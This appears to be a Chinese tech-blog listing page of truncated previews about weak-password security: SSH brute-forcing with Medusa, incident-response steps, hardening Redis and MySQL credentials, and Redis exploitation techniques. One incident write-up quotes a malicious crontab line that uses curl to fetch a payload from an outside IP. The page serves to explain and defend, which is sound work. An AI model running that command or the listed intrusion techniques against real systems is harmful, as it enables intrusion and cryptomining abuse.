一、 Medusa SSH弱口令破解密码爆破工具：Medusa(美杜莎) 如果在设置SSH服务时，管理员设置了容易被猜解出来的用户名和密码（弱口令）。那么就可以使用对应的密码工具进行暴力破解弱口令。如果设置了非常复杂的话，就算有非常强悍的密码字典文件也没用，毕竟一个个试到猴年马月了。 可以尝试社工。 初级阶段还没学，学到后面再看。。下面介绍Medusa对指定的ssh服务进行用户名和密码破解。1.
转载
2023-10-18 14:32:27
290阅读
1. 事件分类常见的安全事件：Web入侵：挂马、篡改、Webshell系统入侵：系统异常、RDP爆破、SSH爆破、主机漏洞病毒木马：远控、后门、勒索软件信息泄漏：刷裤、数据库登录（弱口令）网络流量：频繁发包、批量请求、DDOS攻击2. 排查思路一个常规的入侵事件后的系统排查思路：1. 文件分析a) 文件日期、新增文件、可疑/异常文件、最近使用文件、浏览器下载文件b) Webshell 排查与分析c
# 修改Redis弱口令方案
## 项目背景
Redis是一个开源的内存数据库，被广泛应用于缓存、消息队列等场景。然而，由于Redis的安全配置较为简单，很多开发者在配置Redis时存在弱口令的问题，给系统带来了安全隐患。因此，我们有必要对Redis的弱口令进行修改。
## 方案介绍
为了解决Redis弱口令的问题，我们可以通过修改Redis的配置文件来设置更加复杂的密码以提升系统安全性。具体
原创
2024-05-26 05:53:28
154阅读
春节期间电脑由于Mysql弱口令导致系统被入侵，这两天一直在模拟入侵过程。在网上查阅了好多资料，也问了几个网友，最终成功地利用Mysql弱口令入侵了我自己的电脑。前面的入侵过程没有问题，问题出在了那个my_udf.dll文件上，我判断可能是由于数据库版本的不同，新版本的数据库已经不再支持my_udf.dll文件函数造成的。之前还到处下载my_udf.dll这个文件，其实这个文件已经不能用了。后来在
转载
2023-08-12 11:47:53
284阅读
互联网中的各种服务一般都对应一个默认端口，有的服务可直接匿名访问服务，而有些可通过爆破用户名以及密码来获得管理员权限。端口对应的服务以及漏洞存在方式----常见的端口漏洞21 FTP 匿名访问，弱口令
22 SSH 弱口令登录
23 Telnet 弱口令登录
80 Web 常见Web漏洞或后台登录弱口令
161 SNMP pub
目录 Redis简介Redis基本常识Redis常用命令 环境搭建注意事项漏洞复现写 ssh-keygen 公钥登录服务器利用计划任务反弹shellRedis直接写webshellRedis主从复制getshell Redis简介Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存
转载
2023-10-17 15:22:59
1062阅读
ftp服务器 口令修改 内容精选换一换为了方便用户在管理控制台上进行裸金属服务器实例管理，可快速辨别出每台服务器的名字，华为云支持给每台服务器命名，并且可以随时更改，重启生效。Windows裸金属服务器不支持修改主机名。登录管理控制台。选择“计算 > 裸金属服务器”。进入裸金属服务器页面。进入裸金属服务器页面。单击待修改主机名的裸金属服务器名称，进入详情页面。单击名称后的，输FTP/SFTP
转载
2023-08-18 17:34:05
404阅读
1、背景安全整改过程中针对服务器共性问题的修复，SSH弱密钥交换算法漏洞为例，以上篇中的《Centos7修复ssh弱密钥交换算法漏洞》为场景结合优化处理。ansible环境搭建可以参考《win10系统下ansible环境的搭建》2、目的批量修复服务器的SSH弱密钥交换算法漏洞3、环境说明名称型号备注window10教育版64位主操作系统WSL1.0介质Linuxubuntu18.04LTS子操作系
转载
2024-05-11 13:24:35
113阅读
# Redis 弱口令科普文章
## 引言
Redis 是一个开源的内存数据结构存储系统，广泛用于缓存和存储数据。然而，由于缺乏安全防护，许多开发者在使用 Redis 时未考虑密码保护，导致了潜在的安全风险。这种现象被称为“Redis 弱口令”。本文将探讨 Redis 弱口令带来的问题，并提供防范措施和代码示例。
## Redis 弱口令的风险
在默认配置下，Redis 的安全性非常薄弱。
原创
2024-10-10 04:46:34
183阅读
Redis简介 redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sortedset --有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis
转载
2023-08-25 10:23:20
646阅读
产生原因与个人习惯和安全意识相关，为了避免忘记密码，使用一个非常容易记住 的密码，或者是直接采用系统的默认密码等。危害通过弱口令，攻击者可以进入后台修改资料，进入金融系统盗取钱财，进入OA系统可以获取企业内部资料，进入监控系统可以进行实时监控等等。防御设置密码通常遵循以下原则： （1）不使用空口令或系统缺省的口令，为典型的弱口令； （2）口令长度不小于8 个字符； （3）口令不应该为连续的某个字符
转载
2024-08-08 09:22:47
51阅读
一、事故原因开发使用测试机redis 1.开放0.0.0.0 2.密码使用弱口令 3.使用root用户运行redis梳理一下被黑过程 扫描服务器端口 –> 弱口令拿到reids权限 –> 反弹shell写入秘钥 –> 肉鸡（修改计划任务，挖矿）贴一下被修改的计划任务，*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.
转载
2024-02-29 07:41:05
250阅读
T1.弱密码题目描述 弱口令没有严格和准确的定义，通常认为容易被别人猜测到或被破解工具破解的口令均为弱 口令。 弱密码漏洞，即由于MySQL 数据库root账户的密码设置简单，为弱密码，很容易爆破成功。 MySQL数据库的登录密码是典型的弱密码，并且有远程登录的权限，攻击者可以通过 sqlmap 等工具破解出弱密码，登录数据库并且获取数据库当中的随机flag。tips：注意sqlru库留心这个网络
有关MYSQL配置，仅供参考！可以跳过不操作，不影响正常安装！3.mysql配置[这个步骤请有经验的人操作，主要在安全方面设置，仅供参考！] chown root:sys /etc/my.cnf chmod 644 /etc/my.cnf 使用用户mysql来启动我们的mysql: # /usr/local/mysql/bin/mysqld_saf
转载
2023-11-12 13:07:46
278阅读
# 如何在MySQL中修改弱口令
在信息安全日益受到重视的今天，使用强密码来保护数据库显得尤为重要。接下来，我们将学习如何在MySQL中修改弱口令，以提升安全性。
## 流程概述
以下是修改MySQL弱口令的步骤：
| 步骤 | 描述 |
|------|--------------------------------
文章出自www.51cto存在Microsoft SQL Server SA弱口令的计算机一直是网络***者青睐的对象之一，通过这个，可以轻易的得到服务器的管理权限，从而威胁网络及数据的安全。作为网络管理员，我 们可不能不闻不问，一定要弄清楚这其中的起因、经过和结果，才能有的放矢，做到更为有效的防范，下面我就详细的向大家介绍一下。 Microsoft SQLServer是一个c/s
转载
2024-09-01 23:00:35
62阅读
1.安全性由于redis的运行速度非常快（每秒可以尝试150k数据容量的密码破解），因此，为了提高其安全性，在进入客户端的设置密码是非常有必要的。具体操作：打开redis.conf文件，ctrl+f查找"requirepass",结果下图：设置对应的密码即可；使用：重启redis,进入客户端（redis-cli），发现可以进入，但是当操作命令的时候，发现报错：（error）ERR operat
转载
2024-01-17 08:38:19
214阅读
安装MySQL5.71. 首先进入本机的源文件目录cd /usr/local/src2. 使用wget下载官方yum源的rpm包：wget https://dev.mysql.com/get/mysql57-community-release-el7-11.noarch.rpm3. 安装rpm包：rpm -ivh mysql57-community-release-el7-11.noarch.rp
转载
2023-08-29 09:49:31
475阅读
John the Ripper和NMAP,前者用来检测系统账号的密码强度，后者用来执行端口扫描任务。 在Internet环境中，过于简单的口令是服务器面临的最大风险。尽管大家都知道设置一个更 长.更复杂的口令会更加安全，但总是会有一些用户因贪图方便而采用简单、易记的口令字串。对于任何一个承担着安全责任的管理员，及时找出这些弱口令账号是非常必要的，这样便于采取进一步的安全措施(如提醒用户重设更安全的
转载
2024-08-21 19:45:58
319阅读
Redis没有实现访问控制这个功能，但是它提供了一个轻量级的认证方式，可以编辑redis.conf配置来启用认证。*Redis 未授权访问漏洞，Redis设置认证密码加固建议防止这个漏洞需要修复以下三处问题 第一： 修改redis绑定的IP 如果只在本机使用redis服务那么只要绑定127.0.0.1 如果其他主机需要访问redis服务那么只绑定客户主机所在网络的接口 最好不要绑定0.0.0.0
转载
2023-09-02 19:47:52
67阅读
